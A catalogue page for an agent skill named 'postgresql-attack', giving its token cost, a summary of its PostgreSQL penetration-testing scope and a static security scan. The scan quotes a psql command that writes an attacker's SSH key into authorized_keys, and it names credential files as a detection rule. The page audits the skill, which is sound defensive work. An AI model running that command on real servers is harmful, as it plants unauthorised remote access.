postgresql-attack

postgresql-attack is a skill for Claude Code, Codex from wgpsec/AboutSecurity. It costs 117 tokens per session (3,717 once invoked), scanned C, original, no licence file.

A security-testing guide for PostgreSQL, a relational database used to store structured application data. It covers unauthorised access, database enumeration, SQL injection, file access, command execution, and privilege escalation.

In plain words
What is it for?
Use it when PostgreSQL is available on port 5432 or when testing remote connections, SQL injection, database exports, file reads, command execution, or superuser access.
Why use it?
It helps assess whether a remotely reachable PostgreSQL server or vulnerable application could expose data, files, credentials, or operating-system access.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade C, and why

postgresql-attack scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

psql -h TARGET -U postgres -c "COPY (SELECT 'ssh-rsa AAAA... attacker@host') TO '/var/lib/postgresql/.ssh/authorized_keys';"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Expected in a hook, worth knowing in a rule or an instructions file.

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

postgresql-attack is a skill published in the GitHub repository wgpsec/AboutSecurity (1,725 stars, last pushed 9d ago), with no licence file. It adds 117 tokens to every session and 3,717 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
